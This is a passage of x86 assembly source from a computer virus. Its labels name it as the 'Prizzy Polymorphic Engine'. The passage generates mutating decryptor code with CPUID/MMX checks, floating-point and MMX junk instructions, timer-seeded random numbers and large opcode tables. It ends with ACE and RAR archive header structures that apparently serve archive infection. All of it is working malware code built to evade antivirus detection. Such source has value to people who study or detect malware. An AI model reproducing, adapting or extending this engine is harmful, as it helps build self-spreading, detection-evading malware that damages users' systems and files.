ah,[ebp+__cm_slave_reg-virus_start] or ah,0C0h stosw jmp __cm_part_2 ; ADD main_reg32, reg32 __cmp1t1t1_type_2: mov al,03h jmp __cmp1t1t1_after ; select type of detect __cmp1t1_type_2: mov eax,00000002h call ppe_get_rnd_range cmp al,1 jz __cmp1t1t2_type_2 ; OR main_reg32, 1 shl 21 __cmp1t1t2_type_1: mov ax,0C881h __cmp1t1t2_after: or ah,[ebp+__cm_main_reg-virus_start] stosw mov eax,1 shl 21d stosd jmp __cm_part_2 ; ADD main_reg32, 1 shl 21 __cmp1t1t2_type_2: mov ax,0C081h jmp __cmp1t1t2_after ; new type of instructions + gen 21 to reg + set flag __cmp1_type_2: mov eax,00000002h call ppe_get_rnd_range cmp al,1 jnz __cmp1t2_type_2 ; generate number 21 to reg32 __cmp1t2_type_1: call ppe_get_empty_reg mov [ebp+__cm_slave_reg-virus_start],al call __reg_to_bcd or [ebp+used_regs-virus_start],ah mov bl,al mov eax,21d call ppe_crypt_value mov ax,0AB0Fh stosw mov al,[ebp+__cm_slave_reg-virus_start] shl al,3 or al,[ebp+__cm_main_reg-virus_start] or al,0C0h stosb jmp __cm_part_2 ; use 21 directly __cmp1t2_type_2: mov ax,0BA0Fh stosw mov ax,15E8h or al,[ebp+__cm_main_reg-virus_start] stosw jmp __cm_part_2 ; end of part one, test CPUID support __cm_part_2: mov al,50h ;PUSH main_reg32, POPF or al,[ebp+__cm_main_reg-virus_start] stosb call gen_garbage_based mov al,9Dh stosb ; enable registers pop ax push ax mov [ebp+used_regs-virus_start],al ; get result from EFLAGS call ppe_get_empty_reg mov [ebp+__cm_main_reg-virus_start],al call __reg_to_bcd or [ebp+used_regs-virus_start],ah call ppe_get_empty_reg mov [ebp+__cm_slave_reg-virus_start],al call __reg_to_bcd or [ebp+used_regs-virus_start],ah call gen_garbage_no_flags mov al,9Ch ;PUSHF + POP main_reg32 stosb call gen_garbage_based mov al,58h or al,[ebp+__cm_main_reg-virus_start] stosb ; select type of instruction mov eax,00000002h ;I don't support TEST, AND call ppe_get_rnd_range ;instruction 'cause it cmp al,1 ;gives a result in (Z)ero jz __cmp2_type_2 ;and the others in (C)arry ; BT, BTC, BTR, BTS instruction __cmp2_type_1: mov eax,00000002h ;use reg32 or diect value ? call ppe_get_rnd_range cmp al,1 jz __cmp2t1_type_2 ; generate 21 number to the empty reg32 __cmp2t1_type_1: call ppe_get_empty_reg mov [ebp+__cm_slave_reg-virus_start],al test byte ptr [ebx+REG_FLAGS],REG_NO_COPRO jnz __cmp2t1_type_1 call __reg_to_bcd or [ebp+used_regs-virus_start],ah mov bl,al mov eax,21d call ppe_crypt_value mov al,0Fh ;1st byte of b-instructions stosb ; use reg32 mov eax,end_bt_reg - tbl_bt_reg call ppe_get_rnd_range lea esi,[ebp+tbl_bt_imm+eax-virus_start] lodsb mov ah,[ebp+__cm_slave_reg-virus_start] shl ah,3 or ah,[ebp+__cm_main_reg-virus_start] or ah,0C0h mov al,0A3h stosw jmp __cm_part_3 ; use the direct value __cmp2t1_type_2: mov al,0Fh ;1st byte of b-instructions stosb mov eax,end_bt_imm - tbl_bt_imm call ppe_get_rnd_range lea esi,[ebp+tbl_bt_imm+eax-virus_start] mov al,0BAh stosb lodsb or al,[ebp+__cm_main_reg-virus_start] mov ah,21d stosw jmp __cm_part_3 ; RCL, RCR, ROL, ROR, SHL, SHR instructions ; I don't support SAR instruction (it's not opposite) __cmp2_type_2: mov eax,end_rs_imm - tbl_rs_imm - 1 call ppe_get_rnd_range lea esi,[ebp+tbl_rs_imm+eax-virus_start] mov al,0C1h stosb ; rotate/shift - right/left ? mov eax,esi sub eax,ebp sub eax,offset tbl_rs_imm - offset virus_start shr al,1 jc __cmp2t2_type_2 __cmp2t2_type_1: lodsb or al,[ebp+__cm_main_reg-virus_start] mov ah,32d-21d stosw jmp __cm_part_3 __cmp2t2_type_2: lodsb or al,[ebp+__cm_main_reg-virus_start] mov ah,22d stosw jmp __cm_part_3 __cm_part_3: pop ax push ax mov [ebp+used_regs-virus_start],al __cmp3_start: call gen_garbage_no_flags ;wow! push edi add edi,6 ;reserved for far c-jump ; select a empty reg mov eax,00000001h ;value to EAX mov bl,0 ;EAX register call ppe_crypt_value or byte ptr [ebp+used_regs-virus_start],00000001h call gen_garbage_based mov ax,0A20Fh ;CPUID instruction stosw or byte ptr [ebp+used_regs-virus_start],00000100b call gen_garbage_based and byte ptr [ebp+used_regs-virus_start],11111010b ;1st byte of b-instructions mov al,0Fh stosb mov eax,end_bt_imm - tbl_bt_imm call ppe_get_rnd_range lea esi,[ebp+tbl_bt_imm+eax-virus_start] mov al,0BAh stosb lodsb or al,2 ;EDX test for IA-MMX flag mov ah,23 stosw ; generate conditional jump (JNC) pop ebx mov eax,ebx mov word ptr [ebx],830fh ;JNC far jump sub eax,edi neg eax sub eax,6 ;far jump has six bytes mov [ebx+2],eax ;put short conditional jump __cm_after_test: call gen_garbage_no_flags mov al,9Ch ;PUSHF instruction stosb ; enable registers pop ax mov [ebp+used_regs-virus_start],al mov [esp],edi popa ret ;ÄÄÄ´ function for simulate MMX and Copro code ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;Is computer really supports MMX instructions ? Why can I ;find out in decode-loop ? Hmmm, it's very easy ! ; ; POPF ; PUSHF ; JNC/JC NO_MMX - jump if MMX (not) support ; -mmx instructions- ; NO_MMX: ; ;see on __cpuid_mmx function to know more... ; ;If I use MMX instructions and I'll call g_copro_others to ;generate some copro-garbages what will be then ? I cannot ;rewrite MMX regz (to use copro-regz). So, I can call this ;function with JC jump. ; ;input: AL = (0=JNC, 1=JC) ;JNC=MMX, JC=copro ; __mts_start dd ? ;where is JNC/JC jump ? __mts_style db ? ;JNC or JC ? ; __mmx_test_start: inc byte ptr [ebp+recursive_lmmx-virus_start] cmp byte ptr [ebp+recursive_lmmx-virus_start],1 ja __mmx_ts_finish ; save style mov [ebp+__mts_style-virus_start],al ; put POPF + PUSHF instruction call gen_garbage_based mov al,9Dh stosb call gen_garbage_no_flags mov al,9Ch stosb ; save actual EDI mov [ebp+__mts_start-virus_start],edi add edi,6 __mmx_ts_finish: ret __mmx_test_finish: dec byte ptr [ebp+recursive_lmmx-virus_start] cmp byte ptr [ebp+recursive_lmmx-virus_start],0 ja __mmx_tf_finish push eax ebx ; generate the conditional jump (JNC/JC) mov ax,830Fh ;JNC mmx-jump cmp byte ptr [ebp+__mts_style-virus_start],0 jz __mtf_okay mov ax,820Fh ;JC copro-jump __mtf_okay: mov ebx,[ebp+__mts_start-virus_start] mov word ptr [ebx],ax mov eax,ebx sub eax,edi neg eax sub eax,6 mov dword ptr [ebx+2],eax pop ebx eax __mmx_tf_finish: ret ;ÄÄÄ´ function for generate reg32 <-> mm(0..7) / movd/movq ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;Functions can move reg32 to/from MMX registers. ; ;input: AX=(AH=reg32, AL=mmX) ; __mmx_movin: push ax ; test if computer supports MMX mov al,0 call __mmx_test_start ; generate instruction mov ax,6E0Fh __mm_after: stosw pop ax shl al,3 or al,ah or al,0C0h stosb call __mmx_test_finish ret __mmx_movout: push ax ; does CPU support MMX ? mov al,0 call __mmx_test_start ; generate instruction mov ax,7E0Fh jmp __mm_after ;ÄÄÄ´ function for generate add/sub with MMX and reg32 ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function can (add/sub) any MMX register with reg32. ; ;input: AX=(AH=reg32, AL=mmX) ; BL=(0=add, 1=sub) ; __mmx_as_regs dw ? ;input regz __mmx_as_type db ? ;add OR sub ? ; __mmx_add_sub: mov [ebp+__mmx_as_regs-virus_start],ax mov [ebp+__mmx_as_type-virus_start],bl ; support MMX ? mov al,0 call __mmx_test_start ; we must b-reg32 move to mmx-reg call ppe_get_empty_reg_mmx mov al,byte ptr [ebx] mov ah,byte ptr [ebp+__mmx_as_regs-virus_start+1] call __mmx_movin ; generate instruction mov ax,0FE0Fh ;PADDD ... cmp byte ptr [ebp+__mmx_as_type-virus_start],1 jz __mas_sub __mas_after: stosw mov ax,[ebp+__mmx_as_regs-virus_start] shl al,3 or al,byte ptr [ebx] or al,0C0h stosb jmp __mas_finish __mas_sub: mov ax,0FA0Fh ;PSUBD ... jmp __mas_after __mas_finish: call __mmx_test_finish ret ;ÄÄÄ´ function to add/sub/mov with copro/mmx reg ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This is my one of the last function which I wrote. So, ;the function which you see can generate ADD/SUB/MOV ;instruction to MMX or Copro by this example: ; ; JNZ NO_MMX ; PADDD/PSUBD/MOVD... ; JMP COPRO_END ; NO_MMX: ; FIADD/FISUB/FILD... ; COPRO_END: ; ;I can't add-sub with copro/mmx directly value because ;copro/mmx don't support it. ; ;input: AX= (AH=reg32, AL=mmX) ; BH= (0 =to, 1=from - only for MOV) ; BL= add/sub/mov ? (0=ADD,1=SUB,2=MOV) ; __ppe_me_regs dw ? ;input registers __ppe_me_oper db ? ;input operation __ppe_me_tofrom db ? ;MOV: to, from __ppe_in_memory dd ? ;value in memory ; ppe_math_extended: pusha mov [ebp+__ppe_me_regs-virus_start],ax mov [ebp+__ppe_me_oper-virus_start],bl mov [ebp+__ppe_me_tofrom-virus_start],bh call gen_garbage_based ; test if we far (only because of copro) call __gr_where_in_mem jc a_math_extended ; support MMX - the first test + JNZ mov al,0 call __mmx_test_start ; now, we will generate add-sub for MMX call gen_garbage_based mov ax,[ebp+__ppe_me_regs-virus_start] mov bl,[ebp+__ppe_me_oper-virus_start] cmp bl,2 ;is it MOV ? jz __ppe_me_move call __mmx_add_sub jmp __ppe_me_finish __ppe_me_move: cmp byte ptr [ebp+__ppe_me_tofrom-virus_start],0 jnz __ppe_me_move_from call __mmx_movin jmp __ppe_me_finish __ppe_me_move_from: call __mmx_movout __ppe_me_finish: call gen_garbage_based ; save the memory place where we're for the future calculate push edi add edi,5 ; now, we will generate add-sub for Copro call __mmx_test_finish call gen_garbage_based ; I must get a empty place in memory to save reg32 there cmp byte ptr [ebp+__ppe_me_tofrom-virus_start],1 jz __ppe_me_noreg mov ah,[ebp+__ppe_me_regs-virus_start+1] call ppe_reg2mem mov [ebp+__ppe_in_memory-virus_start],edx __ppe_me_noreg: ; and now - put iluzo-reg32 to copro-reg mov ax ,[ebp+__ppe_me_regs-virus_start] mov edx,[ebp+__ppe_in_memory-virus_start] lea esi,[ebp+tbl_copro_math+02h-virus_start] cmp byte ptr [ebp+__ppe_me_oper-virus_start],1 jnz __ppe_me_nosub lea esi,[ebp+tbl_copro_math+06h-virus_start] __ppe_me_nosub: cmp byte ptr [ebp+__ppe_me_oper-virus_start],2 jz __ppe_me_move_2 call c_copro_math jmp __ppe_me_finish_2 __ppe_me_move_2: cmp byte ptr [ebp+__ppe_me_tofrom-virus_start],0 jnz __ppe_me_move_from_2 lea esi,[ebp+tbl_copro_movin+03h-virus_start] call c_copro_movin jmp __ppe_me_finish_2 __ppe_me_move_from_2: mov ax,[ebp+__ppe_me_regs-virus_start] call __copro_mov2reg __ppe_me_finish_2: ; set jump from MMX behind Copro mov eax,edi pop ebx ;EDI from Copro sub eax,ebx sub eax,5 mov [ebx+1],eax mov byte ptr [ebx],0E9h ;jmp.. a_math_extended: mov [esp],edi popa ret ;ÄÄÄ´ function to put base-reg32 to memory ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ; ;input: AH=reg32 ;output: EDX=place in memory ; __ppe_mc_reg32 db ? __ppe_mc_memory dd ? ; ppe_reg2mem: ; save registers pusha mov byte ptr [ebp+__ppe_mc_reg32-virus_start],ah ; save used_regs mov al,byte ptr [ebp+used_regs-virus_start] push ax mov al,[ebp+__ppe_mc_reg32-virus_start] call __reg_to_bcd or [ebp+used_regs-virus_start],ah ; select place in memory call __copro_get_mem ;EDX is output mov [ebp+__ppe_mc_memory-virus_start],edx __ppe_r2m_new_reg: call ppe_get_empty_reg test byte ptr [ebx+REG_FLAGS],REG_NO_COPRO jnz __ppe_r2m_new_reg call __reg_to_bcd or [ebp+used_regs-virus_start],ah mov bl,al mov eax,edx call ppe_crypt_value movzx ebx,bl lea ebx,[ebp+tbl_regs+ebx*02h-virus_start] call __copro_fix_delta call gen_garbage_based ; it's time for save reg32 to memory mov ah,[ebp+__ppe_mc_reg32-virus_start] shl ah,3 or ah,byte ptr [ebx] mov al,89h stosw ;mov [empty_reg32], reg32 call gen_garbage_based ; enable register pop ax mov [ebp+used_regs-virus_start],al mov edx,[ebp+__ppe_mc_memory-virus_start] mov [esp].access_edx,edx mov [esp],edi popa ret ;ÄÄÄ´ function for write insignificant data ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ppe_gen_rnd_block: mov eax,20 call ppe_get_rnd_range add eax,5 mov ecx,eax ppe_gen_rnd_fill: cld movzx eax,byte ptr [ebp+compare_index-virus_start] cmp eax,5 jae ppe_gen_rnd_loop push ebx mov ebx,eax mov eax,ecx sub eax,4 ;far JMP's five bytes - 1 call ppe_get_rnd_range add eax,edi sub eax,[ebp+poly_start-virus_start] mov [ebp+compare_buffer+ebx*04h-virus_start],eax inc byte ptr [ebp+compare_index-virus_start] pop ebx ppe_gen_rnd_loop: call ppe_get_rnd32 stosb loop ppe_gen_rnd_loop ret ;ÄÄÄ´ functions returns (empty) base/mmx/copro reg ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ppe_get_reg: mov eax,00000008h call ppe_get_rnd_range lea ebx,dword ptr [ebp+tbl_regs+eax*02h-virus_start] ret ppe_get_empty_reg: call ppe_get_reg test byte ptr [ebx+REG_FLAGS],REG_IS_STACK jnz ppe_get_empty_reg call __reg_to_bcd test [ebp+used_regs-virus_start],ah jnz ppe_get_empty_reg movzx ax,al ret ppe_get_empty_reg_copro: call ppe_get_reg call __reg_to_bcd test [ebp+used_regs_copro-virus_start],ah jnz ppe_get_empty_reg_copro movzx ax,al ret ppe_get_empty_reg_mmx: call ppe_get_reg call __reg_to_bcd test [ebp+used_regs_mmx-virus_start],ah jnz ppe_get_empty_reg_mmx movzx ax,al ret __reg_to_bcd: push ebx movzx ebx,al movzx ebx,byte ptr [ebp+tbl_regs_bcd+ebx-virus_start] mov ah,bl pop ebx ret ;ÄÄÄ´ function to detect/set an empty reg from base/copro/mmx ÃÄÄÄÄÄÄÄÄÄÄÄ ; output: AH=reg, AL=type ppe_get_valid_reg: push ecx __ppes_new_reg_1: mov eax,00000003h call ppe_get_rnd_range mov cl,al or cl,cl jz __ppes_new_reg_2 mov cl,[ebp+copro_or_mmx-virus_start] inc cl __ppes_new_reg_2: or cl,cl jnz __ppes_new_reg_extended call ppe_get_empty_reg test byte ptr [ebx+REG_FLAGS],REG_IS_STACK jnz __ppes_new_reg_2 jmp __ppes_new_reg_finish __ppes_new_reg_extended: cmp cl,1 jnz __ppes_new_reg_extended_mmx call ppe_get_empty_reg_copro jmp __ppes_new_reg_finish __ppes_new_reg_extended_mmx: call ppe_get_empty_reg_mmx __ppes_new_reg_finish: mov ah,byte ptr [ebx] mov al,cl pop ecx ret ppe_set_valid_reg: push eax xchg ah,al ;input: AL = (base/copro/mmx) cmp ah,2 ; AH = reg jz __ppe_svr_mmx cmp ah,1 ;this function disable reg jz __ppe_svr_copro ;from b/c/m to the next use ; disable b-reg32 call __reg_to_bcd or byte ptr [ebp+used_regs-virus_start],ah jmp __ppe_svr_finish __ppe_svr_copro: call __reg_to_bcd or byte ptr [ebp+used_regs_copro-virus_start],ah or byte ptr [ebp+used_regs_mmx -virus_start],ah jmp __ppe_svr_finish __ppe_svr_mmx: call __reg_to_bcd or byte ptr [ebp+used_regs_mmx -virus_start],ah or byte ptr [ebp+used_regs_copro-virus_start],ah __ppe_svr_finish: pop eax ret ;ÄÄÄ´ random numbers ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ppe_get_rnd32: push ebx mov ebx,dword ptr [ebp+rnd_last-virus_start] in al,40h xor bl,al in al,41h add bh,al rol ebx,13 in al,41h xor bl,al in al,42h sub bh,al rol ebx,11 xor ebx,eax xor ebx,ecx xor ebx,edx xor ebx,esp xor ebx,esi xor ebx,edi xor ebx,ebp mov dword ptr [ebp+rnd_last-virus_start],ebx mov eax,ebx pop ebx ret ppe_get_rnd_range: push ecx edx mov ecx,eax call ppe_get_rnd32 xor edx,edx div ecx mov eax,edx pop edx ecx ret ;ÄÄÄ´ polymorphic tables ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; some equ's needed by Prizzy Polymorphic Engine (PPE) REG_NO_8BIT equ 1 ;esi,edi,ebp aren't 8bit REG_IS_STACK equ 2 ;reg is stack because of mmx, copro REG_NO_COPRO equ 4 ;reg isn't suited for copro REG_FLAGS equ 1 ;one byte to set tbl_regs' flags USED_MEMORY equ 30 ;we must be far then 30 bytes in poly USED_BASED equ 1 ;don't generate copro & mmx USED_FLAGS equ 2 ;generated garbages can't modify flags USED_COPRO equ 4 ;don't generate copro garbage (needed if we're moving copro-reg) USED_MMX equ 8 ;don't generate mmx garbage ; table of registers ; DO NOT modify this table or the next because they're ; dependent on - because of tranfer to reg_bcd tbl_regs equ this byte db 00000000b,00h ;eax db 00000001b,00h ;ecx db 00000010b,00h ;edx db 00000011b,00h ;ebx db 00000100b,REG_IS_STACK+\ REG_NO_COPRO ;esp db 00000101b,REG_NO_8BIT+\ REG_NO_COPRO ;ebp db 00000110b,REG_NO_8BIT ;esi db 00000111b,REG_NO_8BIT ;edi end_regs equ this byte ; table for use registers, DO NOT modify or move tbl_regs_bcd equ this byte db 00000001b ;eax, mm0, st(0) db 00000010b ;ecx, mm1, st(1) db 00000100b ;edx, mm2, st(2) db 00001000b ;ebx, mm3, st(3) db 00010000b ;esp, mm4, st(4) db 00100000b ;ebp, mm5, st(5) db 01000000b ;esi, mm6, st(4) db 10000000b ;edi, mm7, st(7) end_regs_bcd equ this byte ; opcodes for math reg,imm tbl_math_imm equ this byte db 0C0h ;add db 0C8h ;or db 0E0h ;and db 0E8h ;sub db 0F0h ;xor db 0D0h ;adc db 0D8h ;sbb end_math_imm equ this byte ; opcodes for math reg,reg tbl_math_reg equ this byte db 03h ;add db 0Bh ;or db 13h ;adc db 1Bh ;sbb db 23h ;and db 2Bh ;sub db 33h ;xor end_math_reg equ this byte ; one byte insctructions that doesn't modify reg tbl_save_code equ this byte clc stc cmc cld std end_save_code equ this byte ; opcodes for rotate/shift reg,imm tbl_rs_imm equ this byte db 0C0h ;rol db 0C8h ;ror db 0D0h ;rcl db 0D8h ;rcr db 0E0h ;shl db 0E8h ;shr db 0F8h ;sar end_rs_imm equ this byte ; opcodes for bit tests reg,imm tbl_bt_imm equ this byte db 0E0h, 0E8h, 0F0h, 0F8h ;bt, bts, btr, btc end_bt_imm equ this byte ; opcodes for bit tests reg,reg tbl_bt_reg equ this byte db 0A3h, 0ABh, 0B3h, 0BBh ;bt, bts, btr btc end_bt_reg equ this byte ; opcodes for generate defined number ; decode_instruction = encode_instruction + 1st_number ; reg32 = 2nd_number + defined_reg32 ; immX = 3rd_number * 8 tbl_num_code equ this byte db 003h,081h,0C0h,04h ;add (reg32), imm32 db 0FBh,081h,0E8h,04h ;sub (reg32), imm32 db 0FFh,081h,0F0h,04h ;xor (reg32), imm32 db 003h,0C1h,0C0h,01h ;rol (reg32), imm8 db 0FBh,0C1h,0C8h,01h ;ror (reg32), imm8 db 0FFh,0F7h,0D0h,00h ;not (reg32) end_num_code equ this byte ; table of rep/repnz operations tbl_repeat equ this byte dd offset __gr_cmps ;compare mem operand dd offset __gr_lods ;load mem operand dd offset __gr_stos ;store mem data dd offset __gr_scas ;scan mem dd offset __gr_movs ;move data from mem to mem end_repeat equ this byte ; table of iluzo returns tbl_iluzo_ret equ this byte dd offset __iluzo_return_1, offset __iluzo_return_2 dd offset __iluzo_return_3, offset __iluzo_return_4 dd offset __iluzo_return_5, offset __iluzo_return_6 dd offset __iluzo_return_7, offset __iluzo_return_8 dd offset __iluzo_return_9 end_iluzo_ret equ this byte ; table of instructions to save any value to copro-reg ; the first value means if we must modify reg in instruction tbl_copro_movin equ this byte db 01h,0DFh,00h ;FILD word ptr db 01h,0DBh,00h ;FILD dword ptr db 01h,0DFh,28h ;FILD qword ptr db 01h,0D9h,00h ;FLD dword ptr db 01h,0DDh,00h ;FLD qword ptr db 00h,0D9h,0E8h ;FLD1 db 00h,0D9h,0E9h ;FLDL2T db 00h,0D9h,0EAh ;FLDL2E db 00h,0D9h,0EBh ;FLDPI db 00h,0D9h,0ECh ;FLDLG2 db 00h,0D9h,0EDh ;FLDLN2 db 00h,0D9h,0EEh ;FLDZ end_copro_movin equ this byte ; tables of instructions to load any value from copro-reg tbl_copro_movout equ this byte db 0DFh,10h ;FIST word ptr db 0DBh,10h ;FIST dword ptr db 0D9h,10h ;FST dword ptr db 0DDh,10h ;FST qword ptr end_copro_movout equ this byte ; table of basic instructions for copro-math tbl_copro_math equ this byte db 0DEh,00h ;FIADD word ptr db 0DAh,00h ;FIADD dword ptr db 0DEh,20h ;FISUB word ptr db 0DAh,20h ;FISUB dword ptr db 0D8h,00h ;FADD dword ptr db 0DCh,00h ;FADD qword ptr db 0D8h,20h ;FSUB dword ptr db 0DCh,20h ;FSUB qword ptr end_copro_math equ this byte ; table of the others instruction of copro ; FP(A)TAN, FSCALE rewrite ST and ST(1), they're not here tbl_copro_others equ this byte db 00h,0D9h,0FEh ;FSIN db 00h,0D9h,0FFh ;FCOS db 00h,0D9h,0FBh ;FSINCOS db 00h,0D9h,0E1h ;FABS db 00h,0D9h,0E0h ;FCHS db 00h,0D9h,0FAh ;FSQRT db 00h,0D9h,0FCh ;FRNDINT db 00h,0D9h,0D0h ;FNOP db 00h,0D9h,0E4h ;FTST db 00h,0D9h,0E5h ;FXAM db 01h,0DDh,0C0h ;FFREE ST(x) end_copro_others equ this byte ; table of the others MMX instructions tbl_mmx_others equ this byte db 6Eh,6Fh ;MOVD, MOVQ db 6Bh,63h,67h ;PACKSSDW, PACKSSWB, PACKUSWB db 68h,6Ah,69h ;PUNPCKHBW, PUNPCKHDQ, PUNPCKHWD db 60h,62h,61h ;PUNPCKLBW, PUNPCKLDQ, PUNPCKLWD db 74h,76h,75h ;PCMPEQB, PCMPEQD, PCMPEQW db 64h,66h,65h ;PCMPGTB, PCMPGTD, PCMPGTW db 0D1h,0D2h,0D3h ;PSRLW, PSRLD, PSRRLQ db 0E1h,0E2h ;PSRAW, PSRAD db 0F1h,0F2h,0F3h ;PSLLW, PSLLD, PSSLQ db 0DBh,0Dfh,0EBh,0EFh ;PAND, PANDN, POR, PXOR db 0D5h,0E5h,0F5h ;PMULLW, PMULHW, PMADDWD db 0FCh,0FDh,0FEh ;PADDB, PADDW, PADDD db 0ECh,0EDh,0DCh,0DDh ;PADDSB, PADDSW, PADDUSB, PADDUSW db 0F8h,0F9h,0FAh ;PSUBB, PSUBW, PSUBD db 0E8h,0E9h,0D8h,0D9h ;PSUBSB, PSUBSW, PSUBUSB, PSUBUSW end_mmx_others equ this byte ; table of encode-loop ; the first value means - count ; the second value means - random select ? ; the third value means - already generated ? tbl_encode_loop equ this byte db 02h, 01h dd 00000000h, offset ppe_get_cpuid_mmx dd 00000000h, offset ppe_copro_mmx_clear db 02h, 00h dd 00000000h, offset ppe_get_delta dd 00000000h, offset ppe_encode_one db 03h, 00h dd 00000000h, offset ppe_get_index dd 00000000h, offset ppe_get_code dd 00000000h, offset ppe_get_counter db 01h, 01h dd 00000000h, offset ppe_decoder db 03h, 00h dd 00000000h, offset ppe_get_next_index dd 00000000h, offset ppe_get_next_code dd 00000000h, offset ppe_get_next_counter db 02h, 01h dd 00000000h, offset ppe_get_exloop dd 00000000h, offset ppe_get_return end_encode_loop equ this byte ; table of the instructions which they don't modify flags ; 1st value = move to original instructions ; 2nd value = how many garbages don't modify flags tbl_no_flags equ this byte db 06h, (__no_flags_1 - tbl_garbage) / 04h db 06h, (__no_flags_2 - tbl_garbage) / 04h end_no_flags equ this byte ; hyper table of garbages (support MMX and Copro), wow ! ; where __no_flags_X means the following garbages don't ; modify any flags, do NOT modify this table 'cause of flags tbl_garbage equ this byte dd offset g_push_g_pop ;push reg/garbage/pop reg __no_flags_1:dd offset g_movreg32imm ;mov reg32,imm dd offset g_movreg16imm ;mov reg16,imm dd offset g_movreg8imm ;mov reg8,imm dd offset g_movregreg32 ;mov reg32,reg32 dd offset g_movregreg16 ;mov reg16,reg16 dd offset g_movregreg8 ;mov reg8,reg8 dd offset g_mathreg32imm ;math reg32,imm dd offset g_mathreg16imm ;math reg16,imm dd offset g_mathreg8imm ;math reg8,imm __no_flags_2:dd offset g_call_cont ;call/garbage/pop dd offset g_jump_u ;jump/rnd data dd offset g_jump_c ;jump conditional/garbage dd offset g_movzx_movsx_32 ;movzx/movsx reg32,reg16 dd offset g_movzx_movsx_16 ;movzx/movsx reg16,reg8 dd offset g_movzx_movsx_8 ;movzx/movsx reg32,reg8 dd offset g_rotate_shift32 ;(rcr,sal...) reg32,imm8 dd offset g_rotate_shift16 ;(ror,shl...) reg16,imm8 dd offset g_rotate_shift8 ;(rol,shr...) reg8,imm8 dd offset g_rs_reg32reg8 ;(rcr,sal...) reg32,reg8 dd offset g_rs_reg16reg8 ;(ror,shl...) reg16,reg8 dd offset g_rs_reg8reg8 ;(rol,shr...) reg8,reg8 dd offset g_bit_test32 ;(bsf,bsr...) reg32,imm8 dd offset g_bit_test16 ;(btc,bts...) reg16,imm8 dd offset g_bt_regreg32 ;(bsf,bsr...) reg32,reg32 dd offset g_bt_regreg16 ;(btc,bts...) reg16,reg16 dd offset g_mathregreg32 ;(add,sub...) reg32,reg32 dd offset g_mathregreg16 ;(xor,and...) reg16,reg16 dd offset g_mathregreg8 ;(sbb,adc...) reg8,reg8 dd offset g_set_byte ;(seta,setp.) reg8 dd offset g_loop ;garbage/(loope/loopnz...) dd offset g_loop_jump ;garbage/(dec reg8/16/32, jnz) dd offset g_call_reg32 ;gen reg32/call reg32/rndblock/pop reg32 dd offset g_jump_reg32 ;gen reg32/jump reg32/rndblock dd offset g_repeat ;gen regz/rep(lods,cmps...) dd offset g_pushpop_value ;push rnd(32/16)/garbage/pop reg32 dd offset g_crypt_value ;crypt rnd32 value to reg32 dd offset g_compare ;dec reg32/cmp r32,r32/jnz dd offset g_iluzo_return ;gen reg32/jmp reg32/-jmp offs- __garbage_copro: dd offset g_copro_movin ;(fld,fild,fldz...) w/d/q ptr [---] dd offset g_copro_movout ;(fst,fist...) w/d/q ptr [---] dd offset g_copro_math ;(fadd,fsub...) (w/d)/(st(x),st) dd offset g_copro_others ;(fsin,fptan,fabs,fxch,ffree,..) __garbage_mmx: dd offset g_mmx ;fully 46 instructions !! dd offset g_mmx ;2nd use ('cause it's a dd offset g_mmx ;3rd use great table) end_garbage equ this byte __garbage_based_num equ (offset __garbage_copro - offset tbl_garbage) / 04h __garbage_copro_num equ (offset __garbage_mmx - offset __garbage_copro) / 04h __garbage_mmx_num equ (offset end_garbage - offset __garbage_mmx) /04h ;ÄÄÄ´ archivez struct ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ACE_Archive equ 0 RAR_Archive equ 1 Archive_Err equ 1 Archive_NoErr equ 0 ACE_MagicSize equ 7 ACE_BeforeMagic equ 7 ACE_Magic db '**ACE**' ;ACE signature Archive_MagicWhere: ACE_MagicWhere dw 0,ACE_header_needed ;ACE archive (*.ACE) dw 05C00h,300h ;ACE-SFX (DOS) dw 0DE00h,2200h ;ACE-SFX English/German ;(Win 95/98, NT 4.x) RAR_MagicWhere dw 0,20 ;RAR archive (*.RAR) dw 2400h,800h ;RAR-SFX (DOS) dw 5000h,800h ;RAR-SFX (Win 95/98, NT 4.x) ACE_file_length equ ACEf_Filename-ACEf_HeadCRC ACE_header_needed equ ACEh_Reserved1-ACEh_HeadCrc ACE_without_filename equ ACEf_Filename-ACEf_HeadType ACE_header_start: ACEh_HeadCrc dw 0 ;CRC of ACE header ACEh_HeadSize dw 0 ;Header Size ACEh_HeadType db 0 ACEh_HeadFlags dw 0 ;2048=mult_vol ACEh_Signature db 7 dup (0) ;if u'll write ace_magic_size instead -7-, tasm32 will down ACEh_VerMod db 0 ACEh_VerCr db 0 ACEh_HostCr db 0 ACEh_VolumeNumber db 0 ;volume number of archive (ACE=0, C00=1...) ACEh_TimeDate dd 0 ;Time&Date packed ACEh_Reserved1 dw 0 ACEh_Reserved2 dw 0 ACEh_Reserved3 dd 0 ACEh_AvSize db 0 ;internal comment ACEh_Av equ ThisPlace ACEh_CommentSize dw 0 ACEh_Comment equ ThisPlace ACE_file_start: ACEf_HeadCRC dw 0 ACEf_HeadSize dw 0 ;i don't know 'cause ACEf_Filename isn't defined ACEf_HeadType db 1 ACEf_HeadFlags dw 00008001h ACEf_CompressedSize dd 0 ;filesize in archive ACEf_UnCompressedSize dd 0 ;filesize on your disk ACEf_TimeDate dd 12345678h ACEf_Attrib dd 00000020h 